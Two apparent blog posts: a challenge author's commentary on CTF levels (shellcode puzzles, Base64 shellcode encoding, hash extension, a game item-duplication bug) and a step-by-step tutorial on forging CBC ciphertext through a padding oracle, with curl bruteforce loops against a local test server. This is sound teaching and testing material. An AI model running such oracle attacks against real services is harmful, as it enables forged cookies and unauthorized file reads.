One of the first thing I ever did in reverse engineering was write a registration bypass for some icon-maker program on 16-bit DOS using the debug.com command and some dumb luck. Something where you had to find the "Sorry, your registration code is invalid" message and bypass it. I wanted to simulate this, and that's where these came from.

With skipper, you can bypass the checks by just changing the program counter ($eip or $rip) or nop'ing out the checks. skipper2, however, incorporates the results from the checks into the final flag, so they can't be skipped quite so easily. Rather, you have to stop before each check and load the proper value into memory to get the flag. This simulates situations I've legitimately run into while writing keygens.

hashecute [100]

When I originally conceived of hashecute, I had imagined it being fairly difficult. The idea is, you can send any shellcode you want to the server, but you have to prepend the MD5 of the shellcode to it, and the prepended shellcode runs as well. That's gotta be hard, right? Making an MD5 that's executable??

Except it's not, really. You just need to make sure your checksum starts with a short-jump to the end of the checksum (or to a NOP sled if you want to do it even faster!). That's \xeb\x0e (for jmp) or \e9\x0e (for call), as the simplest examples (there are practically infinite others). And it's really easy to do that by just appending crap to the end of the shellcode: you can see that in my solution.

It does, however, teach a little critical thinking to somebody who might not be super accustomed to dealing with machine code, so I intend to continue using this one as a teaching tool. :)

b-64-b-tuff [100]

b-64-b-tuff has the dual-honour of both having the stupidest name and being the biggest waste of my own time .:)

So, I came up with the idea of writing this challenge during a conversation with a friend: I said that I know people have written shellcode encoders for unicode and other stuff, but nobody had ever written one for Base64. We should make that a challenge!

So I spent a couple minutes writing the challenge. It's mostly just Base64 code from StackOverflow or something, and the rest is the same skeleton as easyshell/easyshell64.

Then I spent a few hours writing a pure Base64 shellcode encoder. I intend to do a future blog 100% about that process, because I think it's actually a kind of interesting problem. I eventually got to the point where it worked perfectly, and I was happy that I could prove that this was, indeed, solveable! So I gave it a stupid name and sent out my PR.

That's when I think @matir said, "isn't Base64 just a superset of alphanumeric?".

Yes. Yes it is. I could have used any off-the-shelf alphanumeric shellcode encoder such as msfvenom. D'OH!

But, the process was really interesting, and I do plan to write about it, so it's not a total loss. And I know at least one player did the same (hi @Grazfather! [he graciously shared his code where he encoded it all by hand]), so I feel good about that :-D

in-plain-sight [100]

I like to joke that I only write challenges to drive traffic to my blog. This is sort of the opposite: it rewards teams that read my blog. :)

A few months ago, while writing the delphi-status challenge (more on that one later), I realized that when encrypting data using a padding oracle, the last block can be arbitrarily chosen! I wrote about it in an off-handed sort of way at that time.

Shortly after, I realized that it could make a neat CTF challenge, and thus was born in-plain-site.

It's kind of a silly little challenge. Like one of those puzzles you get in riddle books. The ciphertext was literally the string "HiddenCiphertext", which I tell you in the description, but of course you probably wouldn't notice that. When you do, it's a groaner. :)

Fun story: I had a guy from the team OpenToAll bring up the blog before we released the challenge, and mention how he was looking for a challenge involving plaintext ciphertext. I had to resist laughing, because I knew it was coming!

i-am-the-shortest [200]

This was a silly little level, which once again forces people to get shellcode. You're allowed to send up to 5 bytes of shellcode to the server, where the flag is loaded into memory, and the server executes them.

Obviously, 5 bytes isn't enough to do a proper syscall, so you have to be creative. It's more of a puzzle challenge than anything.

The trick is, I used a bunch of in-line assembly when developing the challenge (see the original source, it isn't pretty!) that ensures that the registers are basically set up to make a syscall - all you have to do it move esi (a pointer to the flag) into ecx. I later discovered that you can "link" variables to specific registers in gcc.

The intended method was for people to send \xcc for the shellcode (or similar) and to investigate the registers, determining what the state was, and then to use shellcode along the lines of xchg esi, ecx / int 0x80. And that's what most solvers I talked to did.

One fun thing: eax (which is the syscall number when a syscall is made) is set to len(shellcode) (the return value of read()). Since sys_write, the syscall you want to make, is number 4, you can easily trigger it by sending 4 bytes. If you send 5 bytes, it makes the wrong call.

Several of the solutions I saw had a dec eax instruction in them, however! The irony is, you only need that instruction because you have it. If you had just left it off, eax would already be 4!

delphi-status [250]

delphi-status was another of those levels where I spent way more time on the solution than on the challenge.

It seems common enough to see tools to decrypt data using a padding oracle, but not super common to see challenges where you have to encrypt data with a padding oracle. So I decided to create a challenge where you have to encrypt arbitrary data!

The original goal was to make somebody write a padding oracle encryptor tool for me. That seemed like a good idea!

But, I wanted to make sure this was do-able, and I was just generally curious, so I wrote it myself. Then I updated my tool Poracle to support encryption, and wrote a blog about it. If there wasn't a tool available that could encrypt arbitrary data with a padding oracle, I was going to hold back on releasing the code. But tools do exist, so I just released mine.

It turns out, there was a simpler solution: you could simply xor-out the data from the block when it's only one block, and xor-in arbitrary data. I don't have exact details, but I know it works. Basically, it's a classic stream-cipher-style attack.

And that just demonstrates the Cryptographic Doom Principle :)

ximage [300]

ximage might be my favourite level. Some time ago - possibly years - I was chatting with a friend, and steganography came up. I wondered if it was possible to create an image where the very pixels were executable!?

I went home wondering if that was possible, and started trying to think of 3-byte NOP-equivalent instructions. I managed to think of a large number of work-able combinations, including ones that modified registers I don't care about, plus combinations of 1- and 2-byte NOP-equivalents. By the end, I could reasonably do most colours in an image, including black (though it was slightly greenish) and white. You can find the code here.

(I got totally nerdsniped while writing this, and just spent a couple days trying to find every 3-byte NOP equivalent to see how much I can improve this!)

Originally, I just made the image data executable, so you'd have to ignore the header and run the image body. Eventually, I noticed that the bitmap header, 'BM', was effectively inc edx / dec ebp, which is a NOP for all I'm concerned. That's followed by a 2-byte length value. I changed that length on every image to be \xeb\x32, which is effectively a jump to the end of the header. That also caused weird errors when reading the image, which I was totally fine with leaving as a hint.

So what you have is an image that's effectively shellcode; it can be loaded into memory and run. A steganographic method that has probably never been done. :)

beez-fight [350]

beez-fight was an item-duplication vulnerability that was modeled after a similar vulnerability in Diablo 2. I had a friend a lonnnng time ago who discovered a vulnerability in Diablo 2, where when you sold an item it was copied through a buffer, and that buffer could be sold again. I was trying to think of a similar vulnerability, where a buffer wasn't cleared correctly.

I started by writing a simple game engine. While I was creating items, locations, monsters, etc., I didn't really think about how the game was going to be played - browser? A binary I distribute? netcat? Distributing a binary can be fun, because the player has to reverse engineer the protocol. But netcat is easier! The problem is, the vulnerability has to be a bit more subtle in netcat, because I can't depend on a numbered buffer - what you see is what you get!

Eventually, I came upon the idea of equip/unequip being problematic. Not clearing the buffer properly!

Something I see far too much in real life is code that checks if an object exists in a different way in different places. So I decided to replicate that - I had both an item that's NULL-able, and a flag :is_equipped. When you tried to use an item, it would check if the :is_equipped flag is set. But when you unequipped it, it checked if the item was NULL, which never actually happened (unequipping it only toggled the flag). As a result, you could unequip the item multiple times and duplicate it!

Once that was done, the rest was easy: make a game that's too difficult to reasonably survive, and put a flag in the store that's worth a lot of gold. The only reasonable way to get the flag is to duplicate an item a bunch, then sell it to buy the flag.

I think I got the most positive feedback on this challenge, people seem to enjoy game hacking!

vhash + vhash-fixed [450]

This is a challenge that me and @bmenrigh came up with, designed to be quite difficult. It was vhash, and, later, vhash-fixed - but we'll get to that. :)

It all dates back to a conversation I had with @joswr1ght about a SANS Holiday Hack Challenge level I was designing. I suggested using a hash-extension vulnerability, and he said we can't, because of hash_extender, recklessly written by yours truly, ruining hash extension vulnerabilities forever!

I found that funny, and mentioned it to @bmenrigh. We decided to make our own novel hashing algorithm that's vulnerable to an extension attack. We decided to make it extra hard by not giving out source! Players would have to reverse engineer the algorithm in order to implement the extension attack. PERFECT! Nobody knows as well as me how difficult it can be to create a new hash extension attack. :)

Now, there is where it gets a bit fun. I agreed to write the front-end if he wrote the back-end. The front-end was almost exactly easyauth, except the cookie was signed. We decided to use an md5sum-like interface, which was a bit awkward in PHP, but that was fine. I wrote and tested everything with md5sum, and then awaited the vhash binary.

When he sent it, I assumed vhash was a drop-in replacement without thinking too much about it. I updated the hash binary, and could log in just fine, and that was it.

When the challenge came out, the first solve happened in only a couple minutes. That doesn't seem possible! I managed to get in touch with the solver, and he said that he just changed the cookie and ignored the hash. Oh no! Our only big mess-up!

After investigation, we discovered that the agreed md5sum-like interface meant, to @bmenrigh, that the data would come on stdin, and to me it meant that the file would be passed as a parameter. So, we were hashing the empty string every time. Oops!

Luckily, we found it, fixed it, and rolled out an updated version shortly after. The original challenge became an easy 450-pointer for anybody who bothered to try, and the real challenge was only solved by a few, as intended.

dnscap [500]

dnscap is simply a packet-capture from dnscat2, running in unecrypted-mode, over a laggy connection (coincidentally, I'm writing this writeup at the same bar where I wrote the original challenge!). In dnscat2, I sent a .png file that contains the dnscat2 logo, as well as the flag. Product placement anyone?

I assumed it would be fairly difficult to disentangle the packets going through, which is why we gave it a high point-value. Ultimately, it was easier than we'd expected, people were able to solve it fairly quickly.

nibbler [666]

And finally, my old friend nibbler.

At some point in the past few months, I had the realization: nibbles (the snake game for QBasic where I learned to program) sounds like nibble (a 4-bit value). I forget where it came from exactly, but I had the idea to build a nibbles-clone with a vulnerability where you'd have to exploit it by collecting the 'fruit' at the right time.

I originally stored the scores in..

Read Full Article
Visit website
  • Show original
  • .
  • Share
  • .
  • Favorite
  • .
  • Email
  • .
  • Add Tags 

A long time ago, I wrote a couple blogs that went into a lot of detail on how to use padding oracle vulnerabilities to decrypt an encrypted string of data. It's pretty important to understand to use a padding oracle vulnerability for decryption before reading this, so I'd suggest going there for a refresher.

When I wrote that blog and the Poracle tool originally, I didn't actually know how to encrypt arbitrary data using a padding oracle. I was vaguely aware that it was possible, but I hadn't really thought about it. But recently, I decided to figure out how it works. I thought and thought, and finally came up with this technique that seems to work. I also implemented it in Poracle in commit a5cfad76ad.

Although I technically invented this technique myself, it's undoubtedly the same technique that any other tools / papers use. If there's a better way - especially on dealing with the first block - I'd love to hear it!

Anyway, in this post, we'll talk about a situation where you have a padding oracle vulnerability, and you want to encrypt arbitrary data instead of decrypting their data. It might, for example, be a cookie that contains a filename for your profile data. If you change the encrypted data in a cookie to an important file on the filesystem, suddenly you have arbitrary file read!

The math

If you aren't familiar with block ciphers, how they're padded, how XOR (⊕) works, or how CBC chaining works, please read my previous post. I'm going to assume you're familiar with all of the above!

We'll define our variables more or less the same as last time:

  Let P   = the plaintext, and Pn = the plaintext of block n (where n is in
            the range of 1..N). We select this.
  Let C   = the corresponding ciphertext, and Cn = the ciphertext
            of block n (the first block being 1) - our goal is to calculate this
  Let N   = the number of blocks (P and C have the same number of blocks by
            definition). PN is the last plaintext block, and CN is
            the last ciphertext block.
  Let IV  = the initialization vector — a random string — frequently
            (incorrectly) set to all zeroes. We'll mostly call this C0 in this
            post for simplicity (see below for an explanation).
  Let E() = a single-block encryption operation (any block encryption
            algorithm, such as AES or DES, it doesn't matter which), with some
            unique and unknown (to the attacker) secret key (that we don't
            notate here).
  Let D() = the corresponding decryption operation.

And the math for encryption:

  C1 = E(P1 ⊕ IV)
  Cn = E(Pn ⊕ Cn-1) — for all n > 1

And, of course, decryption:

  P1 = D(C1) ⊕ IV
  Pn = D(Cn) ⊕ Cn-1 - for all n > 1

Notice that if you define the IV as C0, both formulas could be simplified to just a single line.

The attack

Like decryption, we divide the string into blocks, and attack one block at a time.

We start by taking our desired string, P, and adding the proper padding to it, so when it's decrypted, the padding is correct. If there are n bytes required to pad the string to a multiple of the block length, then the byte n is added n times.

For example, if the string is hello world! and the blocksize is 16, we have to add 4 bytes, so the string becomes hello world!\x04\x04\x04\x04. If the string is an exact multiple of the block length, we add a block afterwards with nothing but padding (so this is a test!!, because it's 16 bytes, becomes this is a test!!\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10, for example (assume the blocksize is 16, which will will throughout).

Once we have a string, P, we need to generate the ciphertext, C from it. And here's how that happens...

Overview

After writing everything below, I realized that it's a bit hard to follow. Math, etc. So I'm going to start by summarizing the steps before diving more deeply into all the details. Good luck!

To encrypt arbitrary text with a padding oracle...

  • Select a string, P, that you want to generate ciphertext, C, for
  • Pad the string to be a multiple of the blocksize, using appropriate padding, then split it into blocks numbered from 1 to N
  • Generate a block of random data (CN - ultimately, the final block of ciphertext)
  • For each block of plaintext, starting with the last one...
    • Create a two-block string of ciphertext, C', by combining an empty block (00000...) with the most recently generated ciphertext block (Cn+1) (or the random one if it's the first round)
    • Change the last byte of the empty block until the padding errors go away, then use math (see below for way more detail) to set the last byte to 2 and change the second-last byte till it works. Then change the last two bytes to 3 and figure out the third-last, fourth-last, etc.
    • After determining the full block, XOR it with the plaintext block Pn to create Cn
    • Repeat the above process for each block (prepend an empty block to the new ciphertext block, calculate it, etc)

To put that in English: each block of ciphertext decrypts to an unknown value, then is XOR'd with the previous block of ciphertext. By carefully selecting the previous block, we can control what the next block decrypts to. Even if the next block decrypts to a bunch of garbage, it's still being XOR'd to a value that we control, and can therefore be set to anything we want.

A quick note about the IV

In CBC mode, the IV - initialization vector - sort of acts as a ciphertext block that comes before the first block in terms of XOR'ing. Sort of an elusive "zeroeth" block, it's not actually decrypted; instead, it's XOR'd against the first real block after decrypting to create P1. Because it's used to set P1, it's calculated exactly the same as every other block we're going to talk about, except the final block, CN, which is random.

If we don't have control of the IV - which is pretty common - then we can't control the first block of plaintext, P1, in any meaningful way. We can still calculate the full plaintext we want, it's just going to have a block of garbage before it.

Throughout this post, just think of the IV another block of ciphertext; we'll even call it C0 from time to time. C0 is used to generate P1 (and there's no such thing as P0).

Generate a fake block

The "last" block of ciphertext, CN, is generated first. Normally you'd just pick a random blocksize-length string and move on. But you can also have some fun with it! The rest of this section is just a little playing, and is totally tangential to the point; feel free to skip to the next section if you just want the meat.

So yeah, interesting tangential fact: the final ciphertext block, CN can be any arbitrary string of blocksize bytes. All 'A's? No problem. A message to somebody? No problem. By default, Poracle simply randomizes it. I assume other tools do as well. But it's interesting that we can generate arbitrary plaintext!

Let's have some fun:

  • Algorithm = "AES-256-CBC"
  • Key = c086e08ad8ee0ebe7c2320099cfec9eea9a346a108570a4f6494cfe7c2a30ee1
  • IV = 78228d4760a3675aa08d47694f88f639
  • Ciphertext = "IS THIS SECRET??"

The ciphertext is ASCII!? Is that even possible?? It is! Let's try to decrypt it:

  2.3.0 :001 > require 'openssl'
   => true

  2.3.0 :002 > c = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
   => #<OpenSSL::Cipher::Cipher:0x00000001de2578>

  2.3.0 :003 > c.decrypt
   => #<OpenSSL::Cipher::Cipher:0x00000001de2578>

  2.3.0 :004 > c.key = ['c086e08ad8ee0ebe7c2320099cfec9eea9a346a108570a4f6494cfe7c2a30ee1'].pack('H*')
   => "\xC0\x86\xE0\x8A\xD8\xEE\x0E\xBE|# \t\x9C\xFE\xC9\xEE\xA9\xA3F\xA1\bW\nOd\x94\xCF\xE7\xC2\xA3\x0E\xE1" 

  2.3.0 :005 > c.iv = ['78228d4760a3675aa08d47694f88f639'].pack('H*')
   => "x\"\x8DG`\xA3gZ\xA0\x8DGiO\x88\xF69" 

  2.3.0 :006 > c.update("IS THIS SECRET??") + c.final()
   => "NO, NOT SECRET!" 

It's ciphertext that looks like ASCII ("IS THIS SECRET??") that decrypts to more ASCII ("NO, NOT SECRET!"). How's that even work!?

We'll see shortly why this works, but fundamentally: we can arbitrarily choose the last block (I chose ASCII) for padding-oracle-based encryption. The previous blocks - in this case, the IV - is what we actually have to determine. Change that IV, and this won't work anymore.

Calculate a block of ciphertext

Okay, we've created the last block of ciphertext, CN. Now we want to create the second-last block, CN-1. This is where it starts to get complicated. If you can follow this sub-section, everything else is easy! :)

Let's start by making a new ciphertext string, C'. Just like in decrypting, C' is a custom-generated ciphertext string that we're going to send to the oracle. It's made up of two blocks:

  • C'1 is the block we're trying to determine; we set it to all zeroes for now (though the value doesn't actually matter)
  • C'2 is the previously generated block of ciphertext (on the first round, it's CN, the block we randomly generated; on ensuing rounds, it's Cn+1 - the block after the one we're trying to crack).

I know that's confusing, but let's push forward and look at how we generate a C' block and it should all become clear.

Imagine the string:

  C' = 00000000000000000000000000000000 || CN
                ^^^ CN-1 ^^^               

Keep in mind that CN is randomly chosen. We don't know - and can't know - what C'2 decrypts to, but we'll call it P'2. We do know something, though - after it's decrypted to something, it's XOR'd with the previous block of ciphertext (C'1), which we control. Then the padding's checked. Whether or not the padding is correct or incorrect depends wholly on C'1! That means by carefully adjusting C'1, we can find a string that generates correct padding for P'2.

Because the only things that influence P'2 are the encryption function, E(), and the previous ciphertext block, C'1, we can set it to anything we want without ever seeing it! And once we find a value for C' that decrypts to the P'2 we want, we have everything we need to create a CN-1 that generates the PN we want!

So we create a string like this:

  00000000000000000000000000000000 41414141414141414141414141414141
        ^^^ C'1 / CN-1 ^^^                  ^^^ C'2 / CN ^^^

The block of zeroes is the block we're trying to figure out (it's going to be CN-1), and the block of 41's is the block of arbitrary/random data (CN).

We send that to the server, for example, like this (this is on Poracle's RemoteTestServer.rb app, with a random key and blank IV - you should be able to just download and run the server, though you might have to run gem install sinatra):

  • http://localhost:20222/decrypt/0000000000000000000000000000000041414141414141414141414141414141

We're almost certainly going to get a padding error returned, just like in decryption (there's a 1/256 chance it's going to be right). So we change the last byte of block C'1 until we stop getting padding errors:

  • http://localhost:20222/decrypt/0000000000000000000000000000000141414141414141414141414141414141
  • http://localhost:20222/decrypt/0000000000000000000000000000000241414141414141414141414141414141
  • http://localhost:20222/decrypt/0000000000000000000000000000000341414141414141414141414141414141
  • http://localhost:20222/decrypt/0000000000000000000000000000000441414141414141414141414141414141
  • ...

And eventually, you'll get a success:

$ for i in `seq 0 255`; do
URL=`printf "http://localhost:20222/decrypt/000000000000000000000000000000%02x41414141414141414141414141414141" $i`
echo $URL
curl "$URL"
echo ''
done

http://localhost:20222/decrypt/0000000000000000000000000000000041414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000000141414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000000241414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000000341414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000000441414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000000541414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000000641414141414141414141414141414141
Success!
http://localhost:20222/decrypt/0000000000000000000000000000000741414141414141414141414141414141
Fail!
...

We actually found the valid encoding really early this time! When C'1 ends with 06, the last byte of P'2, decrypts to 01. That means if we want the last byte of the generated plaintext (P'2) to be 02, we simply have to XOR the value by 01 (to set it to 00), then by 02 (to set it to 02). 06 ⊕ 01 ⊕ 02 = 05. Therefore, if we set the last byte of C'1 to 05, we know that the last byte of P'2 will be 02, and we can start bruteforcing the second-last byte:

$ for i in `seq 0 255`; do
URL=`printf "http://localhost:20222/decrypt/0000000000000000000000000000%02x0541414141414141414141414141414141" $i`
echo $URL
curl "$URL"
echo ''
done

http://localhost:20222/decrypt/0000000000000000000000000000000541414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000010541414141414141414141414141414141
Fail!
...
http://localhost:20222/decrypt/0000000000000000000000000000350541414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/0000000000000000000000000000360541414141414141414141414141414141
Success!
...

So now we know that when C'N-1 ends with 3605, P'2 ends with 0202. We'll go one more step: if we change C'1 such that P'2 ends with 0303, we can start working on the third-last character in C'1. 36 ⊕ 02 ⊕ 03 = 37, and 05 ⊕ 02 ⊕ 03 = 04 (we XOR by 2 to set the values to 0, then by 3 to set it to 3):

$ for i in `seq 0 255`; do
URL=`printf "http://localhost:20222/decrypt/00000000000000000000000000%02x370441414141414141414141414141414141" $i`
echo $URL
curl "$URL"
echo ''
done

...
http://localhost:20222/decrypt/000000000000000000000000006b370441414141414141414141414141414141
Fail!
http://localhost:20222/decrypt/000000000000000000000000006c370441414141414141414141414141414141
Success!
...

So now, when C'1 ends with 6c3704, P'2 ends with 030303.

We can go on and on, but I automated it using Poracle and determined that the final value for C'1 that works is 12435417b15e3d7552810313da7f2417

$ curl 'http://localhost:20222/decrypt/12435417b15e3d7552810313da7f241741414141414141414141414141414141'
Success!

That means that when C'1 is 12435417b15e3d7552810313da7f2417, P'2 is 10101010101010101010101010101010 (a full block of padding).

We can once again use XOR to remove 101010... from C'1, giving us: 02534407a14e2d6542911303ca6f3407. That means that when C'1 equals 02534407a14e2d6542911303ca6f3407), P'2 is 00000000000000000000000000000000. Now we can XOR it with whatever we want to set it to an arbitrary value!

Let's say we want the last block to decrypt to 0102030405060708090a0b0c0d0e0f (15 bytes). We:

  • Add one byte of padding: 0102030405060708090a0b0c0d0e0f01
  • XOR C'1 (02534407a14e2d6542911303ca6f3407) with 0102030405060708090a0b0c0d0e0f01 => 03514703a4482a6d4b9b180fc7613b06
  • Append the final block, CN, to create C: 03514703a4482a6d4b9b180fc7613b0641414141414141414141414141414141
  • Send it to the server to be decrypted...
$ curl 'http://localhost:20222/decrypt/03514703a4482a6d4b9b180fc7613b0641414141414141414141414141414141'
Success

And, if you actually calculate it with the key I'm using, the final plaintext string P' is c49f1fdcd1cd93daf4e79a18637c98d80102030405060708090a0b0c0d0e0f.

(The block of garbage is a result of being unable to control the IV)

Calculating the next block of ciphertext

So now, where have we gotten ourselves?

We have values for CN-1 (calculated) and CN (arbitrarily chosen). How do we calculate CN-2?

This is actually pretty easy. We generate ourselves a two-block string again, C'. Once again, C'1 is what we're trying to bruteforce, and is normally set to all 00's. But this time, C'2 is CN-1 - the ciphertext we just generated.

Let's take a new C' of:

000000000000000000000000000000000 3514703a4482a6d4b9b180fc7613b06
        ^^^ C'1 / CN-2 ^^^                 ^^^ C'2 / CN-1 ^^^

We can once again determine the last byte of C'1 that will cause the last character of P'2 to be valid padding (01):

$ for i in `seq 0 255`; do
URL=`printf "http://localhost:20222/decrypt/000000000000000000000000000000%02x3514703a4482a6d4b9b180fc7613b06" $i`
echo $URL
curl "$URL"
echo ''
done
...
http://localhost:20222/decrypt/000000000000000000000000000000313514703a4482a6d4b9b180fc7613b06
Fail!
http://localhost:20222/decrypt/000000000000000000000000000000323514703a4482a6d4b9b180fc7613b06
Fail!
http://localhost:20222/decrypt/000000000000000000000000000000333514703a4482a6d4b9b180fc7613b06
Success!
...

...and so on, just like before. When this block is done, move on to the previous, and previous, and so on, till you get to the first block of P. By then, you've determined all the values for C1 up to CN-1, and you have your specially generated CN with whatever value you want. Thus, you have the whole string!

So to put it in another way, we calculate:

  • CN = random / arbitrary
  • CN-1 = calculated from CN combined with PN
  • CN-2 = calculated from CN-1 combined with PN-1
  • CN-3 = calculated from CN-2 combined with PN-2
  • ...
  • C1 = calculated from C2 combined with P2
  • C0 (the IV) = calculated from C1 combined with P1

So as you can see, each block is based on the next ciphertext block and the next plaintext block.

Conclusion

Well, that's about all I can say about using a padding oracle vulnerability to encrypt arbitrary data.

If anything is unclear, please let me know! And, you can see a working implementation in Poracle.rb.

Read Full Article
Visit website
  • Show original
  • .
  • Share
  • .
  • Favorite
  • .
  • Email
  • .
  • Add Tags 

Separate tags by commas
To access this feature, please upgrade your account.
Start your free month
Free Preview